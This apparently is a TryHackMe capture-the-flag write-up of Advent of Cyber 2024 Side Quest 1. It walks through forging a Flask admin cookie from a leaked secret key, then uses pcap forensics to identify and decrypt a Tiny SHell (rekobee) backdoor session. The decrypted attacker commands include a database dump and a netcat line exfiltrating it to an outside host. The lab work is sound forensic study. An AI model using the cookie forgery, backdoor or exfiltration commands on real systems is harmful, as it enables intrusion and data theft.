TryHackMe - Side Quest 1 Operation Tiny Frostbite Writeup¶
Introduction¶
A challenge involving packet, source code analysis, and cryptography.
OS: Linux / Windows
URL: Side Quest 1 Operation Tiny Frostbite
Level: Hard
Finding the keycard¶
I'll begin by assuming you've already completed Day 1
of the main Advent Of Cyber 2024 task titled Day 1: Maybe SOC-mas music, he thought, doesn't come from a store?
. If not, you can follow the linked video in the task to first complete it.
The last question in the task provides us a hint to look into other git repositories from the users we have already discovered.
We have two users of interest:
1) MM-WarevilleTHM
2) Bloatware-WarevilleTHM
MM-WarevilleTHM
doesn't seem to have any interesting repositories.
Bloatware-WarevilleTHM
has a repository named C2-Server
that contains incomplete code for a Python Flask server.
The Flask server is hardcoded to listen on port 8000
. Let's try accessing port 8000
on the main Advent of Cyber Day 1
machine.
Trying the creds admin:securepassword
from the app.py
file does not work.
We also have access to the app secret_key
, which Flask uses to sign all its cookies. If the secret key hasn't been changed in the production code, then we can essentially forge our own cookies for any user.
We don't have to handcraft the cookie; instead, we can write some Python code to generate us a cookie for the user admin
.
from flask.sessions import SecureCookieSessionInterface
from flask import Flask, session
app = Flask(__name__)
app.secret_key = "@09JKD0934jd712?djD"
ADMIN_USERNAME = "admin"
session_data = {"logged_in": True, "username": ADMIN_USERNAME}
with app.app_context():
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session_cookie = session_serializer.dumps(session_data)
print(f"session={session_cookie}")
Tip
We could have just as well edited the C2-Server/app.py
file to just set us a cookie on visiting the /
route. But I wanted to show how we can generate a cookie without running the flask server.
C2-Server/app.py
┌──(kali㉿kali)-[~/THM/sq1]
└─$ python cookie_gen.py
session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.**REDACTED**.**REDACTED**
Now that we have the cookie for admin
, let's add this to our browser and see if the cookie works.
Now head over to the /data
endpoint where you'll find the keycard image with the password required to complete the Side Quest 1
.
Exploitation¶
Start by downloading the aoc_sq_1.zip
file and use the password from the keycard to extract the contents.
┌──(kali㉿kali)-[~/THM/sq1]
└─$ unzip aoc_sq_1.zip
Archive: aoc_sq_1.zip
[aoc_sq_1.zip] traffic.pcap password:
inflating: traffic.pcap
┌──(kali㉿kali)-[~/THM/sq1]
└─$ ls -l traffic.pcap
-rw-rw-r-- 1 kali kali 18060752 Nov 12 21:56 traffic.pcap
┌──(kali㉿kali)-[~/THM/sq1]
└─$ file traffic.pcap
traffic.pcap: pcapng capture file - version 1.0
Open the traffic.pcap
file in Wireshark
using wireshark traffic.pcap
Check Statistics -> Protocol Hierarchy
to get an overview of the protocols used in the pcap file.
Most packets are TCP over IPv4, and just 3 packets are UDP over IPv4.
A quick look at UDP packets shows that there is nothing of interest.
Let's look at the TCP packets. Applying the TCP
filter shows that there are over 158k packets.
There are several SSH packets we can discard for now as we cannot decrypt the SSH traffic.
that got rid of ~2k packets but still not enough to go through manually.
We also gave several packets colored in red
, which means the TCP handshake was not completed / reset packet was sent instead of the final ACK packet.
This is typical Nmap SYN scan behavior. So let's filter for packets that have a proper TCP handshake. tcp && !ssh && (tcp.flags.reset == 0 && tcp.flags.syn == 0)
We are now left with "only" ~8.3k packets.
Save this into a new file namp_filtered.pcap
by using the File -> Export Specified Packets
option.
Now open the nmap_filtered.pcap
file in Wireshark
using wireshark nmap_filtered.pcap
Q1¶
Taking a look at protocol hierarchy again shows that most of the packets are HTTP
packets.
Filtering for http
, there are several GET
requests with gobuster
user-agent, artifacts of a gobuster scan.
Let's filter these out by using the filter !(http.user_agent contains "gobuster/3.6")
and also filter out any 404 status code responses by using the filter !(http.response.code == 404)
We just have 170 packets left to go through. (We can further remove OPTIONS
requests if needed using !(http.request.method == "OPTIONS")
)
http && !(http.user_agent contains "gobuster/3.6") && !(http.response.code == 404) && !(http.request.method == "OPTIONS")
Going through the packets, we find a POST
request to /register.php
that contains the password in the request post body (answer for q1).
Q2¶
Scroll through a few more packets, and few find a post-request to /admin/login.php with the password for mcskidy in the post body (answer for q2).
Q3¶
Remove the http
filter and save the packet capture as http_filtered.pcap
using the File -> Export Specified Packets
option.
!(http contains "gobuster/3.6") && !(http.response.code==404) && !(http.request.method == "OPTIONS")
Open the http_filtered.pcap file in Wireshark using wireshark http_filtered.pcap
.
Now head over to the File -> Export Objects -> HTTP
option to extract the files
transferred over HTTP
.
Scrolling to the end, we see two streams with the content-type application/octet-stream
with filenames exp_file_credential
and ff
Click on each of them and save the files.
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ file *
exp_file_credential: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=59013ea8ac60f097e17ae2da363e4acb10a15740, for GNU/Linux 3.2.0, not stripped
ff: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2ef4ab8c9a54b4f6e2d5656fab7dc8cf2718e27f, for GNU/Linux 3.2.0, stripped
both files are ELF
executables.
Let's check for strings in binary to identify them.
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ strings exp_file_credential
...[SNIP]...
AUATSH
[]A\A]A^A_
/etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
sched_setaffinity()
rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data
touch exp_dir/data2
...[SNIP]...
There seems to be a password hash in the binary. Let's try to Google the hash to see if it's a known hash.
We get a result from GitHub for the CVE-2022-2588
exploit: https://github.com/Markakd/CVE-2022-2588
File names also match. We can also clone the repo to verify that both binaries are identical and haven't been tampered with.
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ git clone https://github.com/Markakd/CVE-2022-2588
Cloning into 'CVE-2022-2588'...
remote: Enumerating objects: 36, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 36 (delta 16), reused 12 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (36/36), 27.74 KiB | 1.98 MiB/s, done.
Resolving deltas: 100% (16/16), done.
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ md5sum exp_file_credential
9ca652a5a50729400789553c19b084f4 exp_file_credential
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ md5sum CVE-2022-2588/exp_file_credential
9ca652a5a50729400789553c19b084f4 CVE-2022-2588/exp_file_credential
The hashes match. So it's just an off-the-shelf exploit binary, so we can safely ignore it.
Let's check the other binary ff
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ strings ff
...[SNIP]...
x((P
w--Z
Usage: %s [ -c [ connect_back_host ] ] [ -s secret ] [ -p port ]
Unexpected reloc type in static binary.
Fatal glibc error: Cannot allocate TLS block
Fatal glibc error: %s:%s (%s): assertion failed: %s
...[SNIP]...
We get a usage help message in the string dump. Google the help string to see if it's a known binary.
Results point to source code for Tiny SHell (tsh)
which is a simple Unix backdoor shell. But it doesn't provide a prebuilt binary.
Let's see if the compiled binary ff
has been scanned before on VirusTotal, potentially allowing us to further identify the binary.
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ sha256sum ff
cf174b24f78596203938c32315de617f7a3aa0af0f158712802c9c18467eb2d6 ff
The malware is tagged as belonging to the rekoobe / rekobee
family. Analysis for the malware can be found here.
Taking a look at the repo, the tsh.h
file defines some variables with default secrets that could be changed before compiling the binary.
#ifndef _TSH_H
#define _TSH_H
char *secret = "1234";
char *cb_host = NULL;
#define SERVER_PORT 1234
short int server_port = SERVER_PORT;
[...SNIP...]
It's likely that our ff
binary has the secret used hardcoded in the binary.
Let's load the binary into Ghidra code browser and decompile the binary to see if we can find the secret.
Note down the secret, and now it's time to do some dynamic analysis on the binary and test if the secret works.
Warning
The binary though is "safe" to run in this case, note that it opens a backdoor with port 9001
and should be run in a controlled environment/sandbox, and always make sure to kill the process after testing.
┌──(kali㉿kali)-[~/THM/sq1]
└─$ ./exports/ff
┌──(kali㉿kali)-[~/THM/sq1]
└─$ sudo ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 5 0.0.0.0:9001 0.0.0.0:* users:(("ff",pid=3370553,fd=0))
The binary seems to be hardcoded to run on port 9001
.
Let's clone the tsh repo from github and compile the client binary to test if we can connect to the ff
process using the secret we found in the binary.
┌──(kali㉿kali)-[~/THM/sq1]
└─$ git clone https://github.com/creaktive/tsh
Cloning into 'tsh'...
remote: Enumerating objects: 40, done.
remote: Total 40 (delta 0), reused 0 (delta 0), pack-reused 40 (from 1)
Receiving objects: 100% (40/40), 29.21 KiB | 156.00 KiB/s, done.
Resolving deltas: 100% (15/15), done.
┌──(kali㉿kali)-[~/THM/sq1]
└─$ cd tsh
┌──(kali㉿kali)-[~/THM/sq1/tsh]
└─$ make linux
gcc -O -W -Wall -o tsh pel.c aes.c sha1.c tsh.c
gcc -O -W -Wall -o tshd pel.c aes.c sha1.c tshd.c -lutil -DLINUX
strip tsh tshd
┌──(kali㉿kali)-[~/THM/sq1/tsh]
└─$ ./tsh localhost -s REDACTED -p 9001 whoami
kali
The secret works, and we are able to connect to the backdoor shell.
Let's head back to Wireshark
and filter check for Statistics -> Conversations
to see a port-wise breakdown of the TCP packets.
There are 204 packets on port 9001
likely belonging to our backdoor, but we also see port 9002
with 6 packets.
Taking a look at packets on port 9002
we see that all six packets belong to a single TCP stream.
packet 5908
is the largest among them and has a data field. Let's save the data from the packet into a file.
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ file unkown
unkown: Zip archive data, at least v2.0 to extract, compression method=deflate
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ mv unkown port_9002.zip
┌──(kali㉿kali)-[~/THM/sq1/exports]
└─$ unzip port_9002.zip
Archive: port_9002.zip
[port_9002.zip] elves.sql password:
skipping: elves.sql incorrect password
The data contained within the packet is a zip file protected with a password.
Which is likely found in the port 9001
packets, as it was likely created with the backdoor and then downloaded.
Let's filter all packets on port 9001
and save them into a new file port_9001.pcap
using the File -> Export Specified Packets
option.
Method 1¶
We have already found that the backdoor was also called rekobee
and at the time of the challenge release, there was a repo named rekobee-analyzer
on GitHub, which has now been deleted.
Since the repo was MIT
licensed, I've uploaded a modified version of the code with some improvements to my GitHub repo rekobee-analyzer
┌──(kali㉿kali)-[~/THM/sq1]
└─$ git clone https://github.com/AnvithLobo/rekobee-analyzer
Cloning into 'rekobee-analyzer'...
....
┌──(kali㉿kali)-[~/THM/sq1]
└─$ cd rekobee-analyzer
┌──(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ python -m venv .venv
┌──(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ . .venv/bin/activate
┌──(.venv)─(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ pip install -r requirements.txt
Collecting pyshark==0.6 (from -r requirements.txt (line 1))
[...SNIP...]
Successfully installed appdirs-1.4.4 colorama-0.4.6 lxml-5.3.0 packaging-24.2 pycryptodome-3.21.0 pyshark-0.6 termcolor-2.5.0
┌──(.venv)─(kali㉿kali)-[~/THM/sq1/rekobee-analyzer]
└─$ python analyze.py -c ../port_9001.pcapng -s **REDACTED**
[ ok ] Found the initial packet at 0.
[ ok ] The server is authenticated by the client.
[ ok ] The client is authenticated by the server.
[info] Handling 'reverse shell' command.
[error] Error while reading data from the socket.
[error] Error while reading data from the socket.
[...SNIP...]
→ root@database:/tmp# mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
→ mysqldump: [Warning] Using a password on the command line interface can be insecure.
→ root@database:/tmp# zip -P **REDACTED** elves.zip elves.sql
→ adding: elves.sql (deflated 58%)
→ root@database:/tmp# nc -w 3 10.13.44.207 9002 < elves.zip
→ root@database:/tmp# echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt
→ root@database:/tmp#
[info] Done.
The zip
command in the output has the password needed to extract the port_9002.zip
file.
Method 2¶
Since we have the source for tsh
we can modify the source code to decrypt packets for us and log it into a file and then replay the packets to get the password.
When the function pel_recv_msg
defined in tsh/pel.c
receives a message, it decrypts it and stores the decrypted message in the message
buffer.
Which then is fed into the active pty
for the commands to be executed. The output of the pty
is then read and sent to pel_send_msg
for encryption and sent back to the client.
We can disable the write
call to the pty
to prevent the commands from being executed and instead log the decrypted messages into a file shell.log
.
Warning
The modified code only disables command execution on interactive sessions, which our packet capture contains.
But this does not consider non-interactive commands run like ./tsh localhost -s REDACTED -p 9001 whoami
, which will still be executed due to the execl
call in line 698
of the tshd.c
file.
tsh/tshd.c | |
---|---|
We cannot disable this as it would close our client connection and won't allow us to replay all the packets.
Now we can write a script to replay our packets.
import socket
import pyshark
import time
def replay_pcap_to_socket(pcap_file, host, port):
# Open the pcap file
print(f"Loading packets from {pcap_file}...")
capture = pyshark.FileCapture(pcap_file, display_filter="tcp")
# Establish a TCP connection to the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
print(f"Connecting to {host}:{port}...")
sock.connect((host, port))
print("Connection established.")
for idx, packet in enumerate(capture):
if hasattr(packet, 'tcp') and hasattr(packet, 'data') and packet.tcp.dstport == str(port):
try:
raw_data = bytes.fromhex(packet.data.data)
print(f"\33[2K\rSending packet {idx}: {packet.data.data[:60]}...", end="", flush=True)
# Send the packet to the server
sock.sendall(raw_data)
time.sleep(.1)
except Exception as e:
print(f"Error processing packet: {str(e)}")
import traceback
traceback.print_exc()
exit()
print("\n\nAll packets replayed.")
capture.close()
# Replace with the actual file path, host, and port
pcap_file = "port_9001.pcapng"
host = "127.0.0.1"
port = 9001
replay_pcap_to_socket(pcap_file, host, port)
Build the modified tshd
binary and execute it with the same secret and then run the replay script.
┌──(.venv)─(kali㉿kali)-[~/THM/sq1/tsh]
└─$ make linux
gcc -O -W -Wall -o tsh pel.c aes.c sha1.c tsh.c
gcc -O -W -Wall -o tshd pel.c aes.c sha1.c tshd.c -lutil -DLINUX
strip tsh tshd
┌──(.venv)─(kali㉿kali)-[~/THM/sq1/tsh]
└─$ ./tshd -s REDACTED -p 9001
┌──(.venv)─(kali㉿kali)-[~/THM/sq1/tsh]
└─$ cd ../
┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ python replay_packets.py
Loading packets from ../port_9001.pcapng...
Connecting to 127.0.0.1:9001...
Connection established.
Sending packet 199: 4823f2e6c497332fbc9e11403dbc7cde1bede1f9e4a5a0081948241f6323...
All packets replayed.
Now we should have a shell.log
file in the tsh
directory with all the commands that were run.
┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ cat tsh/shell.log
cp /bin/bash /bin/pkexeccc
[...SNIP...]
mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'
mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
zip -P **REDACTED** elves.zip elves.sql
[...SNIP...]
echo 'GG EZ McSkidy' > /home/mcskidy/haha.txt
The zip command contains the password needed to extract the port_9002.zip
file.
Method 3¶
This method is similar to method 1, but instead of relying on a prebuilt script, we need to understand how the packets are encrypted by analyzing the code defined in tsh/pel.c
The first packet sent (with data) contains the IVs to initialize the AES encryption. IV1 is the first 20 bytes, and IV2 is the next 20 bytes.
int pel_client_init( int server, char *key )
{
[...SNIP...]
memcpy( IV1, &buffer[ 0], 20 );
[...SNIP...]
memcpy( IV2, &buffer[20], 20 );
/* and pass them to the server */
ret = pel_send_all( server, buffer, 40, 0 );
if( ret != PEL_SUCCESS ) return( PEL_FAILURE );
/* setup the session keys */
pel_setup_context( &send_ctx, key, IV1 );
pel_setup_context( &recv_ctx, key, IV2 );
[...SNIP...]
The challenge is then sent over on packet 2 to verify the connection.
unsigned char challenge[16] = /* version-specific */
"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" \
"\x29\x83\x95\x71\x1D\xDE\x58\x0D";
[...SNIP...]
int pel_client_init( int server, char *key )
{
[...SNIP...]
/* handshake - encrypt and send the client's challenge */
ret = pel_send_msg( server, challenge, 16 );
if( ret != PEL_SUCCESS ) return( PEL_FAILURE );
/* handshake - decrypt and verify the server's challenge */
ret = pel_recv_msg( server, buffer, &len );
The pel_setup_context
function defines how the AES encryption key is derived from the secret key and IV.
void pel_setup_context( struct pel_context *pel_ctx,
char *key, unsigned char IV[20] )
{
int i;
struct sha1_context sha1_ctx;
sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) );
sha1_update( &sha1_ctx, IV, 20 );
sha1_finish( &sha1_ctx, buffer );
aes_set_key( &pel_ctx->SK, buffer, 128 );
memcpy( pel_ctx->LCT, IV, 16 );
memset( pel_ctx->k_ipad, 0x36, 64 );
memset( pel_ctx->k_opad, 0x5C, 64 );
for( i = 0; i < 20; i++ )
{
pel_ctx->k_ipad[i] ^= buffer[i];
pel_ctx->k_opad[i] ^= buffer[i];
}
pel_ctx->p_cntr = 0;
}
Putting it all together and writing a decryption script
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import struct
import pyshark
def setup_aes_context(secret, iv):
sha1 = hashlib.sha1(secret.encode() + iv)
sha1_hash = sha1.digest() # This will be 20 bytes
#Set AES key (truncate to 16 bytes for AES-128)
aes_key = sha1_hash[:16]
# Create AES cipher with the derived key (use CBC mode and the first 16-byte IV)
aes_cipher = AES.new(aes_key, AES.MODE_CBC, iv[:16])
return aes_cipher, aes_key
def decrypt_message(ciphertext, aes_cipher):
# The last 20 bytes are the HMAC, so peel that off
hmac_len = 20
hmac = ciphertext[-hmac_len:]
# The remaining ciphertext is the actual encrypted data (without HMAC)
encrypted_message = ciphertext[:-hmac_len]
# Decrypt the first block to extract the message length
first_block = encrypted_message[:16]
decrypted_first_block = aes_cipher.decrypt(first_block)
#print(f"Decrypted First Block: {decrypted_first_block.hex()}")
# Extract the message length from the first two bytes
content_size = struct.unpack('>H', decrypted_first_block[:2])[0]
# print(f"Extracted Message Length: {content_size}")
#Decrypt the rest of the message
decrypted_data = bytearray(decrypted_first_block)
remaining_ciphertext = encrypted_message[16:] # Remaining ciphertext after the first block
block_count = len(remaining_ciphertext) // 16
for i in range(block_count):
block = remaining_ciphertext[i*16:(i+1)*16]
decrypted_block = aes_cipher.decrypt(block)
# Append decrypted block to data
decrypted_data.extend(decrypted_block)
#print(f"Decrypted Data (before unpadding): {decrypted_data.hex()}")
# Step 3: Unpad the data to get the original message
decrypted_data_unpadded = decrypted_data[2:content_size+2]
#print(f"Decrypted Data (after unpadding): {decrypted_data_unpadded.hex()}")
# Return the final message
return decrypted_data_unpadded
def main(capture_file, secret):
capture = list(pyshark.FileCapture(capture_file, display_filter='tcp.port == 9001 && data.len > 0'))
# the first packet contains IV data definied in (pel_client_init)
# import pdb; pdb.set_trace()
print(f"IV Data: {capture[0].data.data}")
iv_data = bytes.fromhex(capture[0].data.data)
iv1 = iv_data[:20]
iv2 = iv_data[20:]
# Set up the AES context (derive the key and set up the cipher)
send_aes_cipher, send_aes_key = setup_aes_context(secret, iv2)
recv_aes_cipher, recv_aes_key = setup_aes_context(secret, iv1)
# Print out the AES key and Cipher info
print(f"AES Key (16 bytes): {send_aes_key.hex()}")
print(f"AES Cipher: {send_aes_cipher}")
commands = []
for packet in capture[1:]:
ciphertext = bytes.fromhex(packet.data.data)
if packet.tcp.srcport == '9001':
# This is a packet sent by the client
decrypted_message = decrypt_message(ciphertext, send_aes_cipher)
print(decrypted_message.decode('utf-8',errors='ignore'))
else:
# This is a packet sent by the server
decrypted_message = decrypt_message(ciphertext, recv_aes_cipher)
commands.append(decrypted_message.decode('utf-8',errors='ignore'))
print("\n\nAll packets decrypted.")
print("\n\nCommands:")
print("\n".join(commands))
if __name__ == "__main__":
main("port_9001.pcapng", secret="REDACTED")
Make sure to change the secret and path for the pcap file and run the script.
┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ pip install pycryptodome pyshark
┌──(.venv)─(kali㉿kali)-[~/THM/sq1]
└─$ python decrypt.py
[...SNIP...]
mysql -h localhost -D elves -u mcskidy -p'aBT4ZfhteNRE3ah' -e 'show tables;'
mysqldump -u mcskidy -p'aBT4ZfhteNRE3ah' elves elf > elves.sql
zip -P REDACTED elves.zip elves.sql
[...SNIP...]
Q4¶
Using the password found in the zip command, let's unzip the file we got from port 9002
.
┌──(.venv)─(kali㉿kali)-[~/THM/sq1/exports]
└─$ unzip -P REDACTED port_9002.zip
Archive: port_9002.zip
inflating: elves.sql
We have a .sql file, and we need to find McSkidy's password.
┌──(.venv)─(kali㉿kali)-[~/THM/sq1/exports]
└─$ grep -i mcskidy elves.sql | sed 's/),/)\n/g'
INSERT INTO `elf` VALUES (1,'bloatware','$2a$04$RBmm/E9BYc0MGcOVIwKCoerMyFYvN.Uygv9/CAHrYT4qgJzIYNmaq','2024-11-12 22:59:26')
(2,'freeware','$2a$04$tYjkpRuiO4A.Hoyp.7Q2OuMjBdpT3Aoy4u6w6O19Xj4hksAuIjevm','2024-11-12 22:59:26')
(3,'firmware','$2a$04$BDsYzkVX8MDB/PNe2ZIoIuB7FhlKV0bOWkxZfznlFf4CMPMRgRIUS','2024-11-12 22:59:26')
(4,'hardware','$2a$04$IXOjpLJgcjnJVxW69u3aCO8ISfnMq/1VEeLBCGhKFHbLAzDAZ4F6m','2024-11-12 22:59:26')
(5,'mcskidy','REDACTED','2024-11-12 22:59:26');
A simple grep and we have all the flags we need. :)